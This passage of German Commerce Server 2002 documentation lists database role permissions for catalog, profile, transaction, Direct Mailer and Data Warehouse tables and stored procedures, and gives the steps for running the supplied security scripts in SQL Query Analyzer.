ctlg_VC_EvaluateVCRule
 Kein Zugriff Ja
ctlg_VC_ExcludeCatalog
 Kein Zugriff Ja
ctlg_VC_ExcludeCategory
 Kein Zugriff Ja
ctlg_VC_ExcludeCategoryDescendents
 Kein Zugriff Ja
ctlg_VC_ExcludeProduct
 Kein Zugriff Ja
ctlg_VC_ExcludeVariant
 Kein Zugriff Ja
ctlg_VC_FTS_GetResults
 Ja Ja
ctlg_VC_GetPriceRules
 Kein Zugriff Ja
sp_VC_GetProductOrVariantOrCategoryOID
 Kein Zugriff Ja
ctlg_VC_GetRelationshipDescColumns
 Kein Zugriff Ja
ctlg_VC_GetSourceCatalogs
 Ja Ja
ctlg_VC_GetUserDefinedBCProperties
 Kein Zugriff Ja
ctlg_VC_GetUserDefinedVCProperties
 Kein Zugriff Ja
ctlg_VC_GetVCRules
 Kein Zugriff Ja
ctlg_VC_ImportPriceRule
 Kein Zugriff Ja
ctlg_VC_ImportRelationship
 Kein Zugriff Ja
ctlg_VC_ImportRule
 Kein Zugriff Ja
ctlg_VC_IncludeCatalog
 Kein Zugriff Ja
ctlg_VC_IncludeCategory
 Kein Zugriff Ja
ctlg_VC_IncludeCategoryDescendents
 Kein Zugriff Ja
ctlg_VC_IncludeExcludeCatalog
 Kein Zugriff Ja
ctlg_VC_IncludeProduct
 Kein Zugriff Ja
ctlg_VC_IncludeVariant
 Kein Zugriff Ja
ctlg_VC_IsVirtualCatalog
 Ja Ja
ctlg_VC_MaterializeVCViews
 Kein Zugriff Ja
ctlg_VC_PropagateBCChanges
 Kein Zugriff Ja
ctlg_VC_PropagateBCChanges_DeleteCatalog
 Kein Zugriff Ja
ctlg_VC_PropagateBCChanges_Hierarchy
 Kein Zugriff Ja
ctlg_VC_PropagateBCChanges_PrimaryParentCategory
 Kein Zugriff Ja
ctlg_VC_PropagateBCChanges_ProductCategory
 Kein Zugriff Ja
ctlg_VC_PropagateBCChanges_Relationship
 Kein Zugriff Ja
ctlg_VC_PropagateBCChanges_Variant
 Kein Zugriff Ja
ctlg_VC_PropagateDependentCatalogChanges
 Kein Zugriff Ja
ctlg_VC_PropagateVCChanges_DeleteCatalog
 Kein Zugriff Ja
ctlg_VC_RebuildVirtualCatalog
 Kein Zugriff Ja
ctlg_VC_ReEvaluateAllPricingRules
 Kein Zugriff Ja
ctlg_VC_ReEvaluateAllVCInclusionOrExclusionRules
 Kein Zugriff Ja
ctlg_VC_ReEvaluateAllVCRules
 Kein Zugriff Ja
ctlg_VC_RemovePriceRule
 Kein Zugriff Ja
ctlg_VC_RemoveVCRule
 Kein Zugriff Ja
ctlg_VC_Reset_Evaluated_Tables
 Kein Zugriff Ja
ctlg_VC_ResetUserDefinedLinks
 Kein Zugriff Ja
ctlg_VC_SetVCDirtyFlag
 Kein Zugriff Ja
ctlg_VC_SetVCRebuildStatus
 Kein Zugriff Ja
ctlg_VC_SetVCStatus
 Kein Zugriff Ja
ctlg_VC_SplitVCIdentifierName
 Kein Zugriff Ja
ctlg_VC_UpdateDependentVCs_DeletedProductsTables
 Kein Zugriff Ja
ctlg_VC_UpdateVCs_Dependent_On_DefinitionName
 Kein Zugriff Ja
ctlg_VC_UpdateVCs_Dependent_On_PropertyName
 Kein Zugriff Ja

Katalogspezifische gespeicherte Prozeduren

Gespeicherte Prozeduren für jeden Katalog

Gespeicherte Prozeduren ctlg_CatalogReaderRole
(Laufzeitbenutzer) 		Business Desk-Benutzer
ctlg_DeleteCategory_for_Katalogname
 Kein Zugriff Ja
ctlg_DeleteProduct_for_Katalogname
 Kein Zugriff Ja
ctlg_GetRelationships_for_Katalogname
 Ja Ja
ctlg_GetResults_for_AllColumns_Katalogname
 Ja Ja

Gespeicherte Prozeduren pro Katalogsprache

Gespeicherte Prozeduren ctlg_CatalogReaderRole
(Laufzeitbenutzer) 		Business Desk-Benutzer
ctlg_AncestorCategories_for_Katalogname_SPRACHE
 Ja Ja
ctlg_GetCategoryResults_For_Katalogname_SPRACHE
 Ja Ja
ctlg_GetChildCategories_for_Katalogname_SPRACHE
 Ja Ja
ctlg_GetDescProds_for_Katalogname_SPRACHE
 Ja Ja
ctlg_GetDescProdsOnly_for_Katalogname_SPRACHE
 Ja Ja
ctlg_GetProductsFor_Katalogname_SPRACHE
 Ja Ja
ctlg_GetRootCategories_for_Katalogname_SPRACHE
 Ja Ja
ctlg_GetRootProducts_for_Katalogname_SPRACHE
 Ja Ja
ctlg_Specsearch_for_Katalogname_SPRACHE
 Ja Ja

Funktionen

Funktionsname

 ctlg_CatalogReaderRole
(Laufzeitbenutzer) 		Business Desk-Benutzer
fn_AddTablePrefixToColumnList
 Ja Ja
fn_CS_AppendClause
 Ja Ja
fn_IsSingleLanguageCatalog
 Ja Ja
fn_VC_GetMungedIdentifier
 Ja Ja
GetSQLDataType
 Kein Zugriff Ja


Sichern der Profildatenbank

Es wird dringend empfohlen, für den Zugriff auf die Datenbanken Windows-Authentifizierung zu verwenden. Wenn Sie die Datenbank-Verbindungszeichenfolgen für die Windows-Authentifizierung konfigurieren, müssen Sie Business Desk-Benutzern und Laufzeitbenutzern (die ein anonymes Domänenkonto verwenden) die entsprechenden Zugriffsberechtigungen auf die Datenbanken zuweisen.

Systemadministratoren benötigen zudem Zugriff auf die Profildatenbank und sollten der Rolle db_owner zugewiesen werden.

Commerce Server enthält zwei Sicherheitsskripts, die Ihnen die Sicherung der Profildatenbank erleichtern: ProfileReaderRole.sql und ProfileWriterRole.sql. Diese Skripts befinden sich im Ordner Programme\Microsoft Commerce Server\Support.

Durch diese Skripts werden in der Profildatenbank zwei Rollen erstellt und den Tabellen und gespeicherten Prozeduren die erforderlichen Berechtigungen zugewiesen:

  • ProfileReaderRole: Weisen Sie dieser Rolle Laufzeitbenutzer zu.
  • ProfileWriterRole: Weisen Sie dieser Rolle Entwurfszeitbenutzer zu.

So erstellen Sie die Rollen "ProfileReaderRole" und "ProfileWriterRole"

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Microsoft SQL Server, und klicken Sie auf SQL Query Analyzer.
  2. Geben Sie im Dialogfeld Verbindung mit SQL Server herstellen den entsprechenden SQL-Server an.
  3. Wählen Sie in Query Analyzer im Dropdown-Listenfeld mit den Datenbanken die Profildatenbank aus.
  4. Klicken Sie auf Datei und anschließend auf Öffnen.
  5. Navigieren Sie zu den Skripts, die sich im Ordner Programme\Microsoft Commerce Server\Support befinden, und wählen Sie ProfileReaderRole aus.

    Das Skript wird geöffnet, und der Code wird im Fenster Query Analyzer angezeigt.

  6. Klicken Sie auf der Symbolleiste auf Ausführen, um das Skript für die Profildatenbank auszuführen.
  7. Wiederholen Sie diese Schritte, um das Skript ProfileWriterRole auszuführen.
  8. Nachdem Sie die Rollen erstellt haben, weisen Sie das anonyme Laufzeitbenutzerkonto und das Business Desk-Gruppenkonto den entsprechenden Rollen zu. Weitere Anweisungen finden Sie unter Zuweisen von SQL Server-Datenbankrollen.

Durch die Skripts werden für die folgenden Profiltabellen und gespeicherten Prozeduren die beiden Rollen erstellt und Berechtigungen vergeben.

Tabellenname ProfileReaderRole
(Laufzeitbenutzer) 		ProfileWriterRole
(Business Desk-Benutzer)
Addresses
 SELECT SELECT
INSERT
DELETE
UPDATE
BlanketPOs
 SELECT SELECT
INSERT
DELETE
UPDATE
ClassDef
 SELECT SELECT
UPDATE
ClsAttrib
 SELECT SELECT
ColDef
 SELECT SELECT
CommerceServerCatalogs
 SELECT SELECT
ES_ExprExprDeps
 SELECT SELECT
UPDATE
INSERT
DELETE
ES_ExprInfo
 SELECT SELECT
UPDATE
INSERT
DELETE
ES_ExprProfDeps
 SELECT SELECT
UPDATE
INSERT
DELETE
GroupMem
 SELECT SELECT
UPDATE
INSERT
MemAttrib
 SELECT SELECT
UPDATE
INSERT
DELETE
MemberDef
 SELECT SELECT
UPDATE
INSERT
DELETE
OrganizationObject
 SELECT
INSERT
UPDATE 		SELECT
INSERT
DELETE
UPDATE
RelDef
 SELECT SELECT
SourceAttrib
 SELECT Kein Zugriff
SourceDef
 SELECT Kein Zugriff
TableDef
 SELECT SELECT
INSERT
DELETE
UPDATE
UserObject
 SELECT
INSERT
UPDATE 		SELECT
INSERT
DELETE
UPDATE

In Profilen gespeicherte Prozeduren

Zur Sicherung der in Profilen gespeicherten Prozeduren werden durch die Skripts, wie in der folgenden Tabelle dargestellt, Berechtigungen für die Skripts ProfileReaderRole und ProfileWriterRole vergeben.

Hinweis

  • In der Katalogdatenbank müssen Sie der CatalogSet_Info-Tabelle Auswahlberechtigungen für das Business Desk-Benutzerkonto gewähren. Andernfalls werden von den Modulen "Organisation" und "Profil" verwendete Katalogsätze nicht geladen.
In Profilen gespeicherte Prozeduren ProfileReaderRole
(Laufzeitbenutzer) 		ProfileWriterRole
(Business Desk-Benutzer)
sp_CheckDeleteExpr
 Nein Ja
sp_CheckExprExprDeps
 Nein Ja
sp_CheckExprStore
 Ja Ja
sp_DelProfile
 Nein Ja
sp_DelProfileCatalog
 Nein Ja
sp_DelProfileGroup
 Nein Ja
sp_DelProfileGroupHelper
 Nein Ja
sp_DelProfileHelper
 Nein Ja
Sp_DelProfileProperty
 Nein Ja
sp_DelProfilePropHelper
 Nein Ja
sp_DelDataMember
 Nein Ja
sp_DelDataObject
 Nein Ja
sp_DelDataSource
 Nein Ja
sp_EnsureEmptyStore
 Nein Ja
sp_ExprIDFromName
 Ja Ja
sp_ExprNameFromID
 Ja Ja
sp_GetProfileCustomProps
 Nein Ja
sp_GetDataSourceDepends
 Nein Ja
sp_GetDataSourceInfo
 Nein Ja
sp_GetProfileCatalogInfo
 Ja Ja
sp_GetProfileCatalogs
 Nein Ja
sp_GetProfileDomains
 Nein Ja
sp_GetProfileInfo
 Ja Ja
sp_GetProfileMemAttrs
 Nein Ja
sp_GetProfileMember
 Nein Ja
sp_GetProfileProps
 Ja Ja
sp_GetProfileSources
 Nein Ja
sp_ImportExprInfo
 Nein Ja
sp_UpdateExprModDate
 Nein Ja

Siehe auch

Anmeldeinformationen für eine Active Directory-Profildatenquelle


Anmeldeinformationen für eine ActiveDirectory-Profildatenquelle

Feedback zu dieser Seite senden Commerce Server 2002

Anmeldeinformationen für eine Active Directory-Profildatenquelle

Sie können die Profilressource für die Konfiguration des Authentifizierungstyps einsetzen, den der Profildienst für die Verbindung einer zugrunde liegenden Active Directory-Datenquelle verwendet. Beim Konfigurieren der Datenquelle empfiehlt es sich, Anmeldeinformationen anzugeben, die mit Berechtigungen zum Durchführen der Vorgänge im Container in Active Directory ausgestattet sind. Im Dialogfeld Systemattribute können Sie die Option Dieselben Informationen für alle Benutzer verwenden auswählen, die bewirkt, dass der Profildienst die festgelegten Anmeldeinformationen verwendet.

Wenn Sie diese Option auswählen, verwendet der Profildienst den Benutzernamen und das Kennwort, die beim Binden an den Active Directory-Speicher in der LDAPv3-Bindungsinformationen gespeichert werden. Dieses Paar aus Benutzernamen und Kennwort wird in Klartext in der Datenbank gespeichert.

Angenommen, ein Benutzer meldet sich an Ihrer Site an, und die Anmeldeinformationen werden von der SQL Server-Datenbank eingelesen. Anschließend stellt der Profildienst mithilfe dieser Anmeldeinformationen eine Bindung an Active Directory her.

Wenn Sie die Option Dieselben Informationen für alle Benutzer verwenden nicht auswählen, verwenden Sie die integrierte Windows-Authentifizierung des Profilsystems für Active Directory. Das Profilsystem verwendet in diesem Fall den Sicherheitskontext des aufrufenden Threads, um Active Directory aufzurufen. Active Directory akzeptiert den Aufruf oder weist ihn auf der Grundlage dieses Sicherheitskontexts zurück.

Um den Profildienst auf diese Weise effektiv mit einer Site zu verwenden, in der sich die Kunden selbst registrieren, müssten Sie das anonyme IIS-Kundenkonto mit Berechtigungen zum Durchführen von Erstellungsvorgängen im Active Directory-Container ausstatten, in dem die Benutzerdaten gespeichert sind.

In der folgenden Abbildung wird das Dialogfeld Systemattribute dargestellt.

Abbildung des Dialogfelds "Systemattribute".

Siehe auch

Erstellen einer Profildefinition in der Profilressource

Erstellen einer Profildefinition mit zwei Datenquellen


Sichern der Transaktionsdatenbank

Es wird dringend empfohlen, für den Zugriff auf die Datenbanken Windows-Authentifizierung zu verwenden. Wenn Sie die Datenbank-Verbindungszeichenfolgen für die Windows-Authentifizierung konfigurieren, müssen Sie Business Desk-Benutzern und Laufzeitbenutzern (die ein anonymes Domänenkonto verwenden) die entsprechenden Zugriffsberechtigungen auf die Datenbanken zuweisen.

Commerce Server enthält zwei Sicherheitsskripts, die Ihnen die Sicherung der Transaktionsdatenbank erleichtern: TransactionsReaderRole.sql und TransactionsWriterRole.sql. Diese Skripts befinden sich im Ordner Programme\Microsoft Commerce Server\Support.

Durch diese Skripts werden in der Transaktionsdatenbank zwei Rollen erstellt und den Tabellen und gespeicherten Prozeduren die erforderlichen Berechtigungen zugewiesen:

  • TransactionsReaderRole: Weisen Sie dieser Rolle Laufzeitbenutzer zu.
  • TransactionsWriterRole: Weisen Sie dieser Rolle Entwurfszeitbenutzer zu.

So erstellen Sie die Rollen "TransactionsReaderRole" und "TransactionsWriterRole"

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Microsoft SQL Server, und klicken Sie auf SQL Query Analyzer.
  2. Geben Sie im Dialogfeld Verbindung mit SQL Server herstellen den entsprechenden SQL-Server an.
  3. Wählen Sie in Query Analyzer im Dropdown-Listenfeld mit den Datenbanken die Transaktionsdatenbank aus.
  4. Klicken Sie auf Datei und anschließend auf Öffnen.
  5. Navigieren Sie zu den Skripts, die sich im Ordner Programme\Microsoft Commerce Server\Support befinden, und wählen Sie TransactionsReaderRole aus.

    Das Skript wird geöffnet, und der Code wird im Fenster Query Analyzer angezeigt.

  6. Klicken Sie auf der Symbolleiste auf Ausführen, um das Skript für die Transaktionsdatenbank auszuführen.
  7. Wiederholen Sie diese Schritte, um das Skript TransactionsWriterRole auszuführen.
  8. Nachdem Sie die Rollen erstellt haben, weisen Sie das anonyme Laufzeitbenutzerkonto und das Business Desk-Gruppenkonto den entsprechenden Rollen zu. Weitere Anweisungen finden Sie unter Zuweisen von SQL Server-Datenbankrollen.

Durch die Skripts TransactionsReaderRole und TransactionsWriterRole werden für die folgenden Profiltabellen und gespeicherten Prozeduren die beiden Rollen erstellt und Berechtigungen vergeben.

Tabellenname TransactionsReaderRole
(Laufzeitbenutzer) 		TransactionsWriter
Role
(Business Desk-Benutzer)
BasketGroup
 SELECT
INSERT
UPDATE
DELETE 		SELECT
DELETE
CatalogProducts_AuctionBid
 SELECT
INSERT
UPDATE
DELETE 		SELECT
INSERT
UPDATE
DELETE
CatalogProducts_AuctionItem
 Kein Zugriff SELECT
INSERT
UPDATE
DELETE
Counters
 SELECT
INSERT
UPDATE 		Kein Zugriff
OrderFormHeader
 SELECT
INSERT
UPDATE 		SELECT
DELETE
OrderFormLineItems
 SELECT
INSERT
UPDATE 		SELECT
DELETE
OrderGroup
 SELECT
INSERT
UPDATE 		SELECT
DELETE
OrderGroupAddresses
 SELECT
INSERT
UPDATE 		SELECT
DELETE
TransCategory
 Kein Zugriff Kein Zugriff
*TransDimension
 Kein Zugriff Kein Zugriff
UserFilter
 SELECT
INSERT
UPDATE
DELETE 		Kein Zugriff

*Die TransDimension-Tabelle wird vom DTS-Transaktionsdatenimport-Task (Data Transformation Services, DTS) verwendet. Weitere Informationen finden Sie unter ETL-Prozess für den DTS-Transaktionsdatenimport-Task.

Gespeicherte Prozedur

Es gibt nur eine in Transaktionen gespeicherte Prozedur: OrderSummaryProc. Weder Laufzeitbenutzer noch Entwurfszeitbenutzer benötigen Zugriff darauf. Diese gespeicherte Prozedur wird vom Skript OrderGroupManager.GetOrderSummary aufgerufen.


Sichern der Transaktionskonfigurationsdatenbank

Es wird dringend empfohlen, zur Steuerung des Zugriffs auf die Datenbanken die Windows-Authentifizierung zu verwenden. Wenn Sie die Datenbank-Verbindungszeichenfolgen für die Windows-Authentifizierung konfigurieren, müssen Sie Business Desk-Benutzern und Laufzeitbenutzern (die ein anonymes Domänenkonto verwenden) die entsprechenden Zugriffsberechtigungen auf die Datenbanken zuweisen.

Commerce Server enthält zwei Sicherheitsskripts, die Ihnen die Sicherung der Transaktionsdatenbank erleichtern: TransactionsConfigReaderRole.sql und TransactionConfigWriterRole.sql. Diese Skripts befinden sich im Ordner Programme\Microsoft Commerce Server\Support.

Durch diese Skripts werden in der Transaktionskonfigurationsdatenbank zwei Rollen erstellt und den Tabellen und gespeicherten Prozeduren die erforderlichen Berechtigungen zugewiesen:

  • TransactionConfigReaderRole: Weisen Sie dieser Rolle Laufzeitbenutzer zu.
  • TransactionConfigWriterRole: Weisen Sie dieser Rolle Entwurfszeitbenutzer zu.

So erstellen Sie die Rollen "TransactionConfigReaderRole" und "TransactionConfigWriterRole"

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Microsoft SQL Server, und klicken Sie auf SQL Query Analyzer.
  2. Geben Sie im Dialogfeld Verbindung mit SQL Server herstellen den entsprechenden SQL-Server an.
  3. Wählen Sie in Query Analyzer im Dropdown-Listenfeld mit den Datenbanken die Transaktionskonfigurationsdatenbank aus.
  4. Klicken Sie auf Datei und anschließend auf Öffnen.
  5. Navigieren Sie zu den Skripts, die sich im Ordner Programme\Microsoft Commerce Server\Support befinden, und wählen Sie TransactionConfigReaderRole aus.
  6. Das Skript wird geöffnet, und der Code wird im Fenster Query Analyzer angezeigt.
  7. Klicken Sie auf der Symbolleiste auf Ausführen, um das Skript für die ausgewählte Datenbank auszuführen.
  8. Wiederholen Sie diese Schritte, um das Skript TransactionConfigWriterRole auszuführen.
  9. Nachdem Sie die Rollen erstellt haben, weisen Sie das anonyme Laufzeitbenutzerkonto und das Business Desk-Gruppenkonto den entsprechenden Rollen zu. Weitere Anweisungen finden Sie unter Zuweisen von SQL Server-Datenbankrollen.

Durch die Skripts werden für die folgenden Transaktionskonfigurationstabellen und gespeicherten Prozeduren die beiden Rollen erstellt und Berechtigungen vergeben.

Tabellenname TransactionConfigReaderRole
(Laufzeitbenutzer) 		TransactionConfigWriterRole
(Business Desk-Benutzer)
CatalogCache_Virtual_Directory
 SELECT
INSERT
UPDATE 		SELECT
DELETE
Decode
 SELECT SELECT
INSERT
UPDATE
DELETE
Region
 SELECT SELECT
INSERT
UPDATE
DELETE
RegionalTax
 SELECT SELECT
INSERT
UPDATE
DELETE
ShippingConfig
 SELECT SELECT
INSERT
UPDATE
DELETE
TableShippingRates
 SELECT SELECT
INSERT
UPDATE
DELETE
TxVirtual_Directory
 SELECT
INSERT
UPDATE 		SELECT
DELETE

In der Transaktionskonfiguration gespeicherte Prozedur

Durch die Skripts werden, wie in der folgenden Tabelle dargestellt, Berechtigungen für die Rollen TransactionConfigReaderRole und TransactionConfigWriterRole vergeben.

Gespeicherte Prozedur | TransactionConfigReaderRole (Laufzeitbenutzer) | TransactionConfigWriterRole (Business Desk-Benutzer)
sp_GetShippingRateProc | Ja | Ja


Sichern der DirectMailer-Datenbank

Feedback zu dieser Seite senden Commerce Server 2002

Sichern der Direct Mailer-Datenbank

Der Direct Mailer-Dienst greift für die Verbindung mit der Direct Mailer-Datenbank auf die in der globalen Ressource für Direct Mailer gespeicherte Verbindungszeichenfolge zu.

Wenn der Direct Mailer-Dienst zum ersten Mal aufgerufen wird, erstellt er die folgenden Tabellen in der Direct Mailer-Datenbank:

  • dml_attachments
  • dml_job_errors
  • dml_jobs

Darüber hinaus wird die gespeicherte Prozedur Sp_create_dml_sqlagent_job erstellt.

Für jede eindeutige Liste, die in dem Direct Mailer-Auftrag enthalten ist, erstellt Direct Mailer eine eigene Tabelle in der Direct Mailer-Datenbank, beispielsweise:

ML__13F0BA4B_AD15_45BD_AE07_E33DB423A076_

In der folgenden Tabelle sind die Direct Mailer-Datenbank und andere Direct Mailer-Tabellen aufgeführt. Außerdem ist darin angegeben, ob das Laufzeitkonto, das Entwurfszeitkonto und das Direct Mailer-Dienstkonto auf diese zugreifen können müssen.

Tabellenname | Laufzeitbenutzer | Entwurfszeitbenutzerkonten | Direct Mailer-Dienstkonten
Direct Mailer-Datenbank | Nein | Nein | Rolle db_owner
dml_attachments
 Nein Nein SELECT
INSERT
UPDATE
dml_job_errors
 Nein Nein SELECT
INSERT
UPDATE
dml_jobs
 Nein Nein SELECT
INSERT
UPDATE
ML_GUID
 Nein Nein SELECT
INSERT
UPDATE

Weiterhin muss der Direct Mailer-Dienst über Schreibberechtigungen (ACLs) für folgende Dateien verfügen:

dml_drop
Winnt\system32\logfiles folders

Für diese Dateien sind Schreibberechtigungen erforderlich, sodass Direct Mailer Protokolldateien erstellen, in diese schreiben sowie E-Mail-Nachrichten (mit Berechtigungen für den Zielstandort) senden kann.

Wichtig

  • Der Direct Mailer-Dienst kann auf Computer A ausgeführt werden, während die Direct Mailer-Datenbank auf Computer B gespeichert sein kann. Wenn ein Direktsendungs-Kampagnenartikel mithilfe von Business Desk erstellt wird, wird in der Direct Mailer-Datenbank (Computer B) ein SQL Server-Agent-Auftrag erstellt. Für die Verarbeitung der E-Mail-Nachrichten wird der Direct Mailer-Dienst auf Computer A entsprechend dem Zeitplan dieses Auftrags aufgerufen.

    Für eine ordnungsgemäße Funktion muss der Direct Mailer-Dienst auch auf Computer B installiert sein. Diese Installation ist lediglich für die Kommunikation zwischen dem SQL Server-Agent-Auftrag auf Computer B und dem Direct Mailer-Dienst auf Computer A erforderlich. Die eigentliche Verarbeitung der E-Mail-Nachrichten findet nur auf Computer A statt.

In Direct Mailer gespeicherte Prozedur

In der folgenden Tabelle sind neben der in Direct Mailer gespeicherten Prozedur Angaben zum Zugriff durch Laufzeit- oder Entwurfszeitbenutzer aufgeführt.

Gespeicherte Prozedur Laufzeitbenutzer Entwurfszeitbenutzerkonten Direct Mailer-Dienstkonten
sp_create_dml_
sqlagent_job
 Nein Ja Ja

Siehe auch

Direct Mailer-Dienstkonto

Verwenden von Direct Mailer und der Windows-Authentifizierung


Sichern von DataWarehouse

Feedback zu dieser Seite senden Commerce Server 2002

Sichern von Data Warehouse

In diesem Abschnitt werden die Objekte und Daten beschrieben, die Sie zum Sichern von Data Warehouse benötigen. Außerdem enthält der Abschnitt detaillierte Anweisungen zum Sichern dieser Objekte und Daten.

Es wird dringend empfohlen, die Windows-Authentifizierung für den Zugriff auf die Datenbanken zu verwenden. Wenn Sie die Datenbank-Verbindungszeichenfolgen für die Windows-Authentifizierung konfigurieren, müssen Sie Benutzern und Systemadministratoren von Commerce Server Business Desk die erforderlichen Zugriffsberechtigungen für die Data Warehouse-Datenbanken zuweisen.

Commerce Server enthält sieben Skripts (ReportViewer.sql, ReportAdvanced.sql und fünf Skripts für die DTS-Tasks), die SQL Server-Datenbankrollen erstellen und jeder Rolle die entsprechenden Datenbankberechtigungen zuweisen. Nachdem Sie die Skripts ausgeführt haben, können Sie die SQL Server-Anmeldungen für Business Desk-Benutzer und -Systemadministratoren den entsprechenden Rollen zuweisen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Übersicht über die Data Warehouse-Sicherheit
  • Zu sichernde Data Warehouse-Komponenten
  • Übersicht über die Bereitstellung eines sicheren Data Warehouse
  • Skripts zum Sichern von Datenbanken, auf die DTS-Tasks zugreifen
  • Berechtigungen für die Ausführung von DTS-Tasks
  • Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen
  • Konfigurieren des Analysis-Server-Kontos
  • Zugriff auf den Analysis-Server über HTTPS
  • Konfigurieren von Data Warehouse-Verbindungszeichenfolgen
  • Ändern des Data Warehouse-Kennworts
  • Ändern des Bericht-Manager-Kontos


Übersicht über die DataWarehouse-Sicherheit

Feedback zu dieser Seite senden Commerce Server 2002

Übersicht über die Data Warehouse-Sicherheit

Auf das Data Warehouse wird zugegriffen, um folgende Aufgaben auszuführen:

  • Importieren von Daten aus der Webserver-Protokolldatei und den Laufzeitdatenbanken von Commerce Server.
  • Ausführen von Business Desk-Berichten.

Sie müssen Ihre Site sichern, damit diese Aufgaben ohne Risiko für die Datenbanken ausgeführt werden können. Nachfolgend erhalten Sie einen Überblick über die erforderlichen Schritte und die Tools, mit denen Sie Ihre Site zur Ausführung dieser Aufgaben sichern können:

  • Importieren von Daten. Commerce Server enthält Sicherheitsskripts für jede Commerce Server-Datenbank, auf die DTS-Tasks (Data Transformation Services) zugreifen müssen.

    Das entsprechende Skript wird für die Commerce Server-Laufzeitdatenbanken und die Verwaltungsdatenbank ausgeführt. Die Sicherheitsskripts erstellen eine DTS_Import-Rolle in jeder Datenbank und weisen der Rolle die entsprechenden Zugriffsberechtigungen zu.

    Informationen zu den Sicherheitsskripts für DTS-Tasks finden Sie unter Skripts zum Sichern von Datenbanken, auf die DTS-Tasks zugreifen.

  • Ausführen von Berichten. Commerce Server enthält die Sicherheitsskripts ReportViewer und ReportAdvanced, die für die Data Warehouse-SQL Server-Datenbank ausgeführt werden.

    Diese Skripts erstellen zwei Rollen in der Data Warehouse-Datenbank und weisen den Rollen die entsprechenden Zugriffsberechtigungen für das Data Warehouse zu:

    • Die ReportViewer-Rolle verfügt über Berechtigungen für Business Desk-Benutzer, die Berichte ausführen und anzeigen.
    • Die ReportAdvanced-Rolle verfügt über Berechtigungen für Business Desk-Benutzer, die Berichte erstellen, löschen oder ändern.

    Nachdem Sie die beiden Rollen erstellt haben, weisen Sie den Rollen das Business Desk-Benutzerkonto zu. Die Rollen ermöglichen Business Desk-Benutzern die Arbeit mit Berichten, ohne die Datenbank zu beschädigen.

    Informationen zum Ausführen dieser Skripts finden Sie unter Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen.

Siehe auch

Zu sichernde Data Warehouse-Komponenten


Zu sichernde DataWarehouse-Komponenten

Feedback zu dieser Seite senden Commerce Server 2002

Zu sichernde Data Warehouse-Komponenten

In diesem Abschnitt werden die zu sichernden Data Warehouse-Objekte behandelt, d. h. Datenbanken, Verbindungszeichenfolgen und Berichte. Der Abschnitt enthält detaillierte Referenzinformationen zu den einzelnen Data Warehouse-Komponenten sowie zu den Berechtigungen, die für den Zugriff auf die Komponenten erforderlich sind.

Gehen Sie zum Sichern der Komponenten wie folgt vor:

  • Datenbanken. Sichern Sie die Data Warehouse-Datenbanken stets hinter einem Firewall. Anweisungen hierzu finden Sie unter Bereitstellen einer sicheren Site. Führen Sie zusätzlich folgende Schritte aus:
    • Führen Sie für die SQL Server-Datenbank die Sicherheitsskripts ReportViewer.sql und ReportAdvanced.sql aus, um in der Data Warehouse-Datenbank die erforderlichen Rollen für Business Desk-Benutzer zu erstellen, die Berichte ausführen. Weisen Sie die Business Desk-Benutzer anschließend den entsprechenden Rollen zu.
    • Für die OLAP-Datenbank muss das Konto, das Sie für den Analysis-Server definieren, über die SELECT-Berechtigung für alle Commerce Server-Sichten verfügen.
    • Wenn Sie den Data Warehouse-Import-Assistenten ausführen und ein Paket speichern möchten, muss Ihr Konto über die Berechtigungen SELECT, INSERT und UPDATE in der Datenbank msdb auf dem SQL Server verfügen, auf dem die DTS-Tasks ausgeführt werden. Die Datenbank msdb wird vom SQL Server-Agent zum Planen von Warnungen und Aufträgen verwendet. Beim Speichern des DTS-Pakets erfolgt ein Zugriff auf diese Datenbank. Weisen Sie die gleichen Berechtigungen auch dem sysDTSPackage-Objekt zu, das Benutzern das Speichern eines DTS-Pakets ermöglicht.
  • Verbindungszeichenfolgen. Konfigurieren Sie die Verbindungszeichenfolgen so, dass die Windows-Authentifizierung verwendet wird.
  • Berichte. Gewähren Sie Business Desk-Benutzern mithilfe des Business Desk-Moduls "Berechtigungen" Zugriff auf die Features der Benutzeroberfläche, mit denen Berichte ausgeführt, erstellt und geändert werden können.

Dieser Abschnitt beinhaltet folgende Themen:

  • Data Warehouse-SQL Server-Datenbank
  • Data Warehouse-OLAP-Datenbank
  • Data Warehouse-Verbindungszeichenfolgen
  • Data Warehouse-SQL Server-Verbindungszeichenfolgen
  • Data Warehouse-Analysis-Server-Verbindungszeichenfolgen
  • Data Warehouse-DTS-Tasks
  • Commerce Server-Berichte
  • Berichte mit Zugriff auf OLAP-Cubes und SQL Server


DataWarehouse-SQLServer-Datenbank

Feedback zu dieser Seite senden Commerce Server 2002

Data Warehouse-SQL Server-Datenbank

Dieser Abschnitt enthält Referenzinformationen zur Sicherheit für die folgenden Data Warehouse-SQL Server-Datenbankkomponenten, die Sicherheit erfordern:

Data Warehouse-Tabellen

Data Warehouse-Sichten

Data Warehouse-Funktionen

Auf die Daten in der SQL Server-Datenbank wird beim Ausführen folgender Aufgaben zugegriffen:

  • Sie führen die DTS-Tasks von Commerce Server aus. Informationen zu den Berechtigungen, die zum Ausführen der DTS-Tasks benötigt werden, finden Sie unter Berechtigungen für die Ausführung von DTS-Tasks.
  • Business Desk-Benutzer führen statische Berichte aus. Zum Sichern der Data Warehouse-SQL Server-Datenbank verwenden Sie die Sicherheitsskripts von Commerce Server, um Datenbankrollen für Business Desk-Benutzer zu erstellen, die Berichte unter Verwendung der Datenbank ausführen. Weitere Informationen finden Sie unter Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen.

    Außerdem müssen Sie die db_owner-Rolle für die Data Warehouse-Datenbank dem Konto zuweisen, das in der COM+-Komponente Bericht-Manager von Commerce Server angegeben ist. Anweisungen hierzu finden Sie unter Ändern des Bericht-Manager-Kontos.

Data Warehouse-Tabellen

In der folgenden Tabelle sind spezielle Data Warehouse-Tabellen aufgeführt, auf die Business Desk-Benutzer (Entwurfszeitbenutzer) zugreifen müssen, um Berichte auszuführen. Eine Liste der Berichte und Tasks, die bestimmte Berechtigungen erfordern, finden Sie unter Skript "ReportViewer.sql" und Skript "ReportAdvanced.sql".

Tabelle Entwurfszeit-Benutzerzugriff
GroupReportDbObject
 SELECT
INSERT
DELETE
GroupReportJob
 SELECT
INSERT
DELETE
GroupReportStatus
 SELECT
INSERT
DELETE
